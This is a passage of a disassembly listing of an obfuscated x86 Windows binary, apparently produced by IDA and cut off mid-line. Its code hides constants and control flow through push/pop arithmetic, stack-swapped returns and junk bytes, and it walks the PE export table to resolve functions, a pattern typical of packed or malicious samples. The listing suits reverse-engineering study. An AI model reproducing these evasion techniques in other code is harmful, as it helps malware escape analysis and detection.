--------------------------------------------------------------------------- loc_42DFA2: ; CODE XREF: wto1jq8f:0042E755j jmp loc_427FC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_42DFA7: ; CODE XREF: sub_427D82+37D3j jmp loc_42C3E5 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428310 loc_42DFAC: ; CODE XREF: sub_428310+Ej jmp loc_4282F4 ; END OF FUNCTION CHUNK FOR sub_428310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_42DFB1: ; CODE XREF: sub_42BB8A-2F69j ; sub_42BB8A:loc_42B7DCj mov eax, [ebp-0Ch] movzx eax, byte ptr [eax] add [ebp-8], eax mov eax, [ebp-8] jmp loc_4264CE ; END OF FUNCTION CHUNK FOR sub_42BB8A ; --------------------------------------------------------------------------- locret_42DFC2: ; CODE XREF: wto1jq8f:0042D7A3j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42DFC3: ; CODE XREF: sub_42DC5C-44EEj js loc_42CDFE or edi, ecx jmp loc_42EC39 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D496 loc_42DFD0: ; CODE XREF: sub_42D496-4784j mov edx, eax xchg edx, [esp+0] call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_42D496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42DFDB: ; CODE XREF: sub_42DC5C-567Dj jmp nullsub_51 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42DFE0: ; CODE XREF: sub_426535+765j jmp loc_42B6F9 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42DFE5 proc near ; CODE XREF: sub_42AEA4:loc_426E20j ; sub_4296B3+3p ... jnz sub_426313 jmp sub_42716A sub_42DFE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DFF0 proc near ; DATA XREF: sub_426D4F:loc_42E8AAo push eax call loc_42FC50 sub_42DFF0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42DFF7: ; CODE XREF: wto1jq8f:00424FA3j jmp loc_42B7F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42DFFC: ; CODE XREF: sub_42CB36:loc_42B0D8j add eax, 8A7DED42h xchg eax, [esp+0] push 0 push ecx jmp loc_42DA4D ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- db 0BAh, 0F8h, 0D0h dd 6857F7C6h, 0E49F8E64h, 0BCEF815Fh, 0E97603BDh, 18C2h dd 22E9EA13h, 81000000h, 76DE99D9h, 0E9F18727h, 0FFFFBAB0h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42E039: ; CODE XREF: sub_42DC5C-E4Dj jmp loc_425B62 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- sbb esi, ebx jmp sub_42D71D ; --------------------------------------------------------------------------- ror esi, 8 jmp loc_42A257 ; =============== S U B R O U T I N E ======================================= sub_42E04D proc near ; CODE XREF: wto1jq8f:0042892Ep mov [esp+0], ecx pop ecx add eax, ebp add eax, 4EEF06BAh mov eax, [eax] push eax call sub_42AECE sub_42E04D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428C71 loc_42E061: ; CODE XREF: sub_426535+3Ej ; sub_428C71+40FAj mov eax, 120h jmp loc_42FE07 ; END OF FUNCTION CHUNK FOR sub_428C71 ; --------------------------------------------------------------------------- locret_42E06B: ; CODE XREF: wto1jq8f:0042B7B2j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6F9 loc_42E06C: ; CODE XREF: sub_42C6F9+12j jmp nullsub_53 ; END OF FUNCTION CHUNK FOR sub_42C6F9 ; --------------------------------------------------------------------------- loc_42E071: ; CODE XREF: wto1jq8f:0042AC50j jmp loc_4294A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42E076 proc near ; CODE XREF: wto1jq8f:00428ADFj ; sub_42AA68+5p arg_C = dword ptr 10h mov [esp+0], edx pop edx push ecx mov ecx, [esp+arg_C] call sub_42C786 sub_42E076 endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_42E086: ; CODE XREF: sub_42DB52-16BCj jmp loc_4249ED ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- loc_42E08B: ; CODE XREF: wto1jq8f:0042AFA0j jmp locret_426CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42E090: ; CODE XREF: sub_42B02D+377j ; sub_42B02D+494j ... push (offset loc_42FDF2+1) jmp loc_428D18 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- loc_42E09A: ; CODE XREF: wto1jq8f:0042BA6Fj jz loc_42E0A8 loc_42E0A0: ; CODE XREF: wto1jq8f:loc_42CAF0j mov ebx, [ebx+ecx] call sub_428B05 loc_42E0A8: ; CODE XREF: wto1jq8f:00426F0Aj ; wto1jq8f:00427C32j ... jz loc_42647D mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_429B0D ; --------------------------------------------------------------------------- mov edx, 30DFC367h push edx push 77DD9DDCh pop edx loc_42E0C6: ; CODE XREF: wto1jq8f:loc_427B95j and edx, 0AD0BA7C9h jmp loc_4247ED ; --------------------------------------------------------------------------- loc_42E0D1: ; CODE XREF: wto1jq8f:0042A5BFj pushf push 20720688h call near ptr loc_42FBB3+2 ; START OF FUNCTION CHUNK FOR sub_42E4EA loc_42E0DC: ; CODE XREF: sub_42E4EA+Cj jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_42E4EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E541 loc_42E0E1: ; CODE XREF: sub_42E541-58DEj jmp nullsub_165 ; END OF FUNCTION CHUNK FOR sub_42E541 ; =============== S U B R O U T I N E ======================================= sub_42E0E6 proc near ; CODE XREF: sub_424D58+770Ep mov [esp+0], eax push 23DA22F7h pop eax add eax, 0DC68D2CCh xchg eax, [esp+0] jmp sub_427A8D sub_42E0E6 endp ; =============== S U B R O U T I N E ======================================= sub_42E0FD proc near ; CODE XREF: sub_42596F+7p ; FUNCTION CHUNK AT 0042EEA9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042EF18 SIZE 00000052 BYTES ; FUNCTION CHUNK AT 0042EF9E SIZE 00000011 BYTES mov [esp+0], ebx pop ebx mov ebp, esp call sub_42B0AE loc_42E108: ; CODE XREF: wto1jq8f:loc_42A7DDj mov ebp, esp push ecx mov esp, ebp xchg edx, [esp+0] jmp loc_42EEA9 sub_42E0FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E115 proc near ; DATA XREF: wto1jq8f:0042AF36o arg_4 = dword ptr 8 push 0F25FCAE5h pop edx add edx, 0A0EBEA67h sub eax, ecx pop edx pop eax mov ebx, offset sub_428845 xchg ebx, [esp-8+arg_4] jmp nullsub_148 sub_42E115 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edi, 0CB6A71D0h ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42E137: ; CODE XREF: sub_42CB36:loc_42D3C6j push eax push 97A826Ah pop eax add eax, 55A49F16h jmp loc_42A337 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42E149: ; CODE XREF: sub_4269FD:loc_42A945j jz loc_4245A1 mov eax, [ebp-4] inc eax push offset loc_424FB3 jmp loc_424723 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- loc_42E15D: ; CODE XREF: wto1jq8f:0042EB1Ej test al, al jz loc_42C5F6 jmp loc_42E217 ; --------------------------------------------------------------------------- mov eax, ecx jmp loc_42FA0D ; --------------------------------------------------------------------------- mov eax, [eax] mov ecx, [eax] add eax, 4 mov ebx, [eax] jmp loc_42A7FE ; --------------------------------------------------------------------------- loc_42E17F: ; CODE XREF: wto1jq8f:loc_42984Dj jl loc_42967A loc_42E185: ; CODE XREF: wto1jq8f:0042C574j jmp near ptr loc_42F338+1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424635 loc_42E18A: ; CODE XREF: sub_424635+Bj jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_424635 ; --------------------------------------------------------------------------- xchg edi, ebx jle loc_42BA69 cmp edi, 0E7079DE8h jmp loc_42966D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA7A loc_42E1A2: ; CODE XREF: sub_42DA7A-7379j mov byte ptr [eax], 0C3h mov [ebp-4], eax push 1Ch lea eax, [ebp-34h] push eax jmp loc_42C6AC ; END OF FUNCTION CHUNK FOR sub_42DA7A ; --------------------------------------------------------------------------- loc_42E1B3: ; CODE XREF: wto1jq8f:00428E5Aj ; wto1jq8f:0042CDCFj cmp esi, eax jmp loc_42AB22 ; --------------------------------------------------------------------------- loc_42E1BA: ; DATA XREF: sub_42A3DA:loc_42CD1Eo add edx, ebp add edx, 0AFFC16EEh mov edx, [edx] popf xchg eax, [edx] jmp loc_4241A8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42E1CD: ; CODE XREF: sub_425CE2+3F18j jmp loc_42AB18 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- loc_42E1D2: ; DATA XREF: sub_42B520-6C7Do jnb loc_42AC2F mov eax, [ebp+8] cmp dword ptr [eax-14h], 4 push offset sub_42C4E2 jmp locret_42B57E ; --------------------------------------------------------------------------- loc_42E1E9: ; CODE XREF: wto1jq8f:loc_426442j jz loc_42BBA1 loc_42E1EF: ; CODE XREF: wto1jq8f:loc_4265FAj jmp near ptr loc_42F798+1 ; --------------------------------------------------------------------------- retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42E1F6: ; CODE XREF: wto1jq8f:00425DB6j ; sub_426535+2667j ... mov eax, [ebp-4] push eax call sub_42660F jmp loc_426A4A ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov eax, [ebp-4] jmp loc_424081 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42E20D: ; CODE XREF: sub_426968:loc_4295FEj push offset loc_42E42A jmp loc_424EC9 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- loc_42E217: ; CODE XREF: wto1jq8f:0042E165j jnz loc_426020 jmp loc_42412A ; --------------------------------------------------------------------------- loc_42E222: ; CODE XREF: wto1jq8f:00426E2Bj cdq sub eax, esi jmp loc_42C142 ; --------------------------------------------------------------------------- loc_42E22A: ; CODE XREF: wto1jq8f:00427FFAj add eax, 69B99DEBh xchg eax, [esp] jmp loc_42AF69 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E239: ; CODE XREF: wto1jq8f:0042EC1Ej push 927392C3h pop edx sub edx, 6B3E2A50h test edx, 400h jmp loc_42F5D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42E250: ; CODE XREF: sub_428AC6:loc_42BD4Fj pop edx xor edx, 4381041h add edx, ebp add edx, 0AC8F860Fh mov [edx], eax pop edx jmp loc_42DE02 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- mov esi, 0E991E116h not edi jmp near ptr sub_42A0E5 ; --------------------------------------------------------------------------- jz loc_42ADBE jmp loc_42C97D ; --------------------------------------------------------------------------- call sub_428183 jmp loc_42C7E3 ; --------------------------------------------------------------------------- mov dword ptr [ebp-8], 1 jmp loc_42A0BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42E294: ; CODE XREF: wto1jq8f:loc_428700j ; wto1jq8f:0042870Fj ... mov eax, [ebp-10h] jmp loc_42A95B ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42E29C: ; CODE XREF: sub_42C6C3:loc_42E82Ej push 1BF8DEF2h pop edi add edi, 0E44A03BEh xchg edi, [esp+0Eh+var_E] jmp near ptr sub_428C71 ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; --------------------------------------------------------------------------- add esp, 10h push offset sub_428C68 jmp locret_42DEAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42E2BD: ; CODE XREF: sub_426535+2CE0j ; sub_426535:loc_42C906j push 0FB1D3CF8h pop eax and eax, 0DB595C8Bh xor eax, 0DB191CEBh jmp loc_429FCB ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42E2D4: ; CODE XREF: sub_425F4F:loc_42AE4Ej shr eax, 0Fh jmp loc_42EAC0 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- loc_42E2DC: ; CODE XREF: wto1jq8f:0042A2A0j ; wto1jq8f:0042A2A7j popf ror ebp, 0Eh or edi, 3A8E307h ; START OF FUNCTION CHUNK FOR sub_42669E loc_42E2E6: ; CODE XREF: sub_42669E:loc_42D778j call sub_4269D1 ; END OF FUNCTION CHUNK FOR sub_42669E ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42E2EB: ; CODE XREF: sub_42DC5C+17Bj jmp loc_42F876 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_42E2F0: ; CODE XREF: wto1jq8f:00426BBCj jmp loc_425B7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276C3 loc_42E2F5: ; CODE XREF: sub_4276C3+11E5j call near ptr sub_4240DC jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_4276C3 ; --------------------------------------------------------------------------- call sub_424585 push 0B99A0342h pop edx add edx, 38C2B60Dh call sub_429165 push ebx push 0E1F98A9Bh pop ebx jmp loc_42E3DB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D31 loc_42E322: ; CODE XREF: sub_426D31+13j jmp nullsub_144 ; END OF FUNCTION CHUNK FOR sub_426D31 ; --------------------------------------------------------------------------- loc_42E327: ; CODE XREF: wto1jq8f:0042E701j push 0F29E10BFh jmp loc_42E97B ; --------------------------------------------------------------------------- loc_42E331: ; CODE XREF: wto1jq8f:0042953Aj js loc_425C8A ; =============== S U B R O U T I N E ======================================= sub_42E337 proc near ; CODE XREF: sub_42660F-14Dp ; wto1jq8f:loc_42DB4Bj ; FUNCTION CHUNK AT 0042AE54 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BAC0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042F89D SIZE 00000078 BYTES ; FUNCTION CHUNK AT 0042F916 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F928 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx loc_42E33B: ; CODE XREF: sub_429281:loc_42C2B3j call sub_427A9E push 320D68E3h jmp loc_42BAC0 sub_42E337 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor esi, 90453F9Ah mov [esp], ecx pop ecx call sub_429165 call sub_424585 mov edx, 6FDE1A91h jmp loc_42703C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E369: ; DATA XREF: wto1jq8f:loc_4283F0o push 3AE8EC6Fh pop eax xor eax, 6E32E234h add eax, ebp add eax, 0AB25F1A1h push offset sub_42D849 jmp loc_42B79A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D13F loc_42E388: ; CODE XREF: sub_42D13F+6j jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_42D13F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B35E loc_42E38D: ; CODE XREF: sub_42B35E:loc_42B210j push 4DDE21ABh pop edx add edx, 0CBD1F671h add edx, eax jmp loc_425D11 ; END OF FUNCTION CHUNK FOR sub_42B35E ; --------------------------------------------------------------------------- loc_42E3A0: ; CODE XREF: wto1jq8f:loc_4280ADj mov edx, esi sub ebx, 0E8B2153Ch jmp loc_427ADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD35 loc_42E3AD: ; CODE XREF: sub_42CD35:loc_42995Aj pop ecx mov [ebp-20h], eax jmp loc_42C868 ; END OF FUNCTION CHUNK FOR sub_42CD35 ; =============== S U B R O U T I N E ======================================= sub_42E3B6 proc near ; CODE XREF: sub_42CD35+4p push (offset loc_42F03C+1) jmp nullsub_139 sub_42E3B6 endp ; --------------------------------------------------------------------------- loc_42E3C0: ; CODE XREF: wto1jq8f:0042EB79j ror edi, 1Ch ; =============== S U B R O U T I N E ======================================= sub_42E3C3 proc near ; CODE XREF: wto1jq8f:0042CDEFp xchg edi, [esp+0] pop edi push eax retn sub_42E3C3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42E3C9: ; CODE XREF: sub_42D9FC-5F25j sub esi, 0C401DA62h add esi, 0F8F3ED8Ah call sub_427B3D ; END OF FUNCTION CHUNK FOR sub_42D9FC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E3DB: ; CODE XREF: wto1jq8f:0042E31Cj jmp loc_42BE2D ; --------------------------------------------------------------------------- loc_42E3E0: ; CODE XREF: wto1jq8f:0042BD7Fj jmp loc_428E20 ; --------------------------------------------------------------------------- loc_42E3E5: ; CODE XREF: wto1jq8f:00427EE5j jmp locret_424A63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42E3EA: ; CODE XREF: sub_426535-155Ej mov eax, ds:dword_42D5F0 or eax, eax jnz loc_42B50C jmp loc_429EE0 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42E3FD proc near ; CODE XREF: wto1jq8f:0042BCC5p ; FUNCTION CHUNK AT 0042450F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042476D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B432 SIZE 0000000A BYTES xchg ebx, [esp+0] mov ebx, [esp+0] cmp ebx, 8FC87A1Eh or edx, 0D5E207EAh jno loc_424774 add ebx, ecx rol eax, 1Eh jmp loc_42450F sub_42E3FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42E41F: ; CODE XREF: wto1jq8f:004286D3j ja loc_42F14C jmp loc_424995 ; --------------------------------------------------------------------------- loc_42E42A: ; DATA XREF: sub_426968:loc_42E20Do jnz loc_42AC2F call sub_42AC24 ; START OF FUNCTION CHUNK FOR sub_429281 loc_42E435: ; CODE XREF: sub_429281+5551j jmp loc_425E55 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E541 loc_42E43A: ; CODE XREF: sub_42E541+Fj jmp loc_42A582 ; END OF FUNCTION CHUNK FOR sub_42E541 ; --------------------------------------------------------------------------- loc_42E43F: ; CODE XREF: wto1jq8f:0042807Cj cmp eax, 0A8FC24B0h jmp loc_427CD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C423 loc_42E44A: ; CODE XREF: sub_42C423:loc_427466j ; wto1jq8f:0042CA21j call near ptr sub_42760F ; END OF FUNCTION CHUNK FOR sub_42C423 ; START OF FUNCTION CHUNK FOR sub_42821F loc_42E44F: ; CODE XREF: sub_42821F+Bj jmp loc_4287B0 ; END OF FUNCTION CHUNK FOR sub_42821F ; --------------------------------------------------------------------------- loc_42E454: ; CODE XREF: wto1jq8f:0042A1E3j sbb eax, ebx loc_42E456: ; CODE XREF: wto1jq8f:loc_42B882j jmp loc_42BE9E ; --------------------------------------------------------------------------- jmp loc_42A503 ; =============== S U B R O U T I N E ======================================= sub_42E460 proc near ; CODE XREF: sub_428295+6j var_14 = dword ptr -14h ; FUNCTION CHUNK AT 0042EA7A SIZE 0000000F BYTES add esp, 0FFFFFFF0h push esi push 9691E9F1h jmp loc_42EA7A sub_42E460 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42716A loc_42E46E: ; CODE XREF: sub_42716A+7j push 0FC9A684Eh pop eax add eax, 3A87CDAh mov eax, [eax] or eax, eax jmp loc_426A4A ; END OF FUNCTION CHUNK FOR sub_42716A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDD loc_42E483: ; CODE XREF: sub_428DDD+20C2j mov eax, [eax] neg eax sbb eax, eax neg eax push ebx push 0F3CD8082h pop ebx add ebx, 7013F0F4h jmp loc_42A5F6 ; END OF FUNCTION CHUNK FOR sub_428DDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42E49D: ; CODE XREF: sub_42A2B8+9j cmp dword ptr [ebp-8], 0 jnz loc_42E4AD mov eax, [ebp-4] mov [ebp-8], eax loc_42E4AD: ; CODE XREF: wto1jq8f:loc_42BEA3j ; sub_42C2D2+Dj ... call sub_42D446 mov [ebp-0Ah], al loc_42E4B5: ; CODE XREF: sub_42D434:loc_42A94Bj jno loc_42D58D jmp loc_427F29 ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- loc_42E4C0: ; CODE XREF: wto1jq8f:loc_42E776j call sub_42669E ; START OF FUNCTION CHUNK FOR sub_42A237 loc_42E4C5: ; CODE XREF: sub_42A237+3j jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42A237 ; --------------------------------------------------------------------------- jle loc_42EEA9 jmp loc_42DA8D ; --------------------------------------------------------------------------- jz loc_425B9E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42E4DB proc near ; CODE XREF: sub_42ED01:loc_42A01Dp xchg ebx, [esp+0] pop ebx call near ptr loc_42F184+1 sub_42E4DB endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_42D8D3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42E4EA proc near ; CODE XREF: wto1jq8f:00426412j ; sub_42628C+6CEDp ; FUNCTION CHUNK AT 0042E0DC SIZE 00000005 BYTES mov [esp+0], edi pop edi mov eax, [ebp-4] push offset sub_429C18 jmp loc_42E0DC sub_42E4EA endp ; --------------------------------------------------------------------------- adc edx, eax jmp sub_428C0C ; --------------------------------------------------------------------------- dw 8B25h dword_42E504 dd 0 dword_42E508 dd 0 ; --------------------------------------------------------------------------- jmp loc_42B388 ; --------------------------------------------------------------------------- db 4Eh, 29h, 30h dword_42E514 dd 0 ; --------------------------------------------------------------------------- loc_42E518: ; CODE XREF: wto1jq8f:0042711Ej jmp loc_42728A ; --------------------------------------------------------------------------- db 0A5h, 2Bh, 15h dword_42E520 dd 0 dword_42E524 dd 0 ; sub_42A467r dword_42E528 dd 0 ; sub_424E0E+4w ... ; --------------------------------------------------------------------------- jmp loc_424147 ; --------------------------------------------------------------------------- db 53h, 0ACh, 82h dword_42E534 dd 0 ; wto1jq8f:loc_42B964w dword_42E538 dd 0 ; sub_427D82:loc_427A0Cw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42E53C: ; CODE XREF: sub_425944+40DFj jmp loc_42E563 ; END OF FUNCTION CHUNK FOR sub_425944 ; =============== S U B R O U T I N E ======================================= sub_42E541 proc near ; DATA XREF: sub_42C4E2+8A4o ; FUNCTION CHUNK AT 00428C5A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042A582 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042E0E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E43A SIZE 00000005 BYTES setz al call sub_426E98 pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_42E43A sub_42E541 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E555 proc near ; DATA XREF: sub_42DC5C:loc_42DE07o ; FUNCTION CHUNK AT 0042B028 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx push offset sub_42501F jmp loc_42B028 sub_42E555 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42E563: ; CODE XREF: sub_42D765+Ej ; sub_425944:loc_42E53Cj mov eax, [ebp-4] call near ptr sub_42AA68 ; --------------------------------------------------------------------------- test al, al push offset sub_42459B jmp nullsub_172 ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- loc_42E577: ; CODE XREF: wto1jq8f:loc_4291B4j not ecx pushf jmp loc_42739D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B46 loc_42E57F: ; CODE XREF: sub_425B46+Aj rol eax, 15h mov ds:dword_42D5FC, eax retn ; END OF FUNCTION CHUNK FOR sub_425B46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42E589: ; CODE XREF: sub_429BFF+3E29j jmp loc_426C32 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42E58E: ; CODE XREF: sub_4269FD+6j ror eax, 15h pushf jmp loc_42F714 ; END OF FUNCTION CHUNK FOR sub_4269FD ; =============== S U B R O U T I N E ======================================= sub_42E597 proc near ; CODE XREF: wto1jq8f:004292D0j ; wto1jq8f:00429EDBp ; FUNCTION CHUNK AT 0042D658 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop ebx and eax, edx adc eax, edx jmp loc_42D658 sub_42E597 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test al, al jz locret_42745B jmp loc_42A26E ; =============== S U B R O U T I N E ======================================= sub_42E5B2 proc near ; CODE XREF: sub_42E5B2:loc_425CFAj ; sub_428DBE+8p ... ; FUNCTION CHUNK AT 00424BEA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425CFA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280DB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429237 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042CDDD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EAD7 SIZE 00000005 BYTES mov edx, 1 lock xchg edx, [eax] or edx, edx jz nullsub_58 loc_42E5C2: ; CODE XREF: sub_42E5B2-99C4j ; wto1jq8f:0042922Cj jo loc_429237 jmp loc_42CDDD sub_42E5B2 endp ; --------------------------------------------------------------------------- loc_42E5CD: ; CODE XREF: wto1jq8f:loc_425A67j pop ebx mov ebp, offset loc_428B27 xchg ebp, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42E5D7: ; CODE XREF: sub_42BE69+B89j jmp loc_42BA74 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D343 loc_42E5DC: ; CODE XREF: sub_42D343-6474j jmp loc_4261BC ; END OF FUNCTION CHUNK FOR sub_42D343 ; --------------------------------------------------------------------------- sbb esi, 0BC4FEC76h jmp sub_42A35F ; --------------------------------------------------------------------------- mov [edx], eax xchg ebp, [esp] mov edx, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42E5F5: ; CODE XREF: wto1jq8f:0042C41Ej jmp loc_42B543 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E5FA proc near ; CODE XREF: sub_428C71j push ebp mov ebp, esp loc_42E5FD: ; CODE XREF: wto1jq8f:loc_42C215j jmp near ptr loc_42F8AE+6 sub_42E5FA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42E602: ; CODE XREF: sub_429281:loc_42DB1Aj add edx, 0FC36FFEh push esi push 68C71EC9h pop esi sub esi, 954730CDh test esi, 2000000h jmp loc_42C285 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- and esi, ebx and edx, ebp jmp loc_4265DB ; --------------------------------------------------------------------------- loc_42E629: ; CODE XREF: wto1jq8f:loc_42868Dj jnz loc_425E1B jmp loc_426E84 ; [00000001 BYTES: COLLAPSED FUNCTION 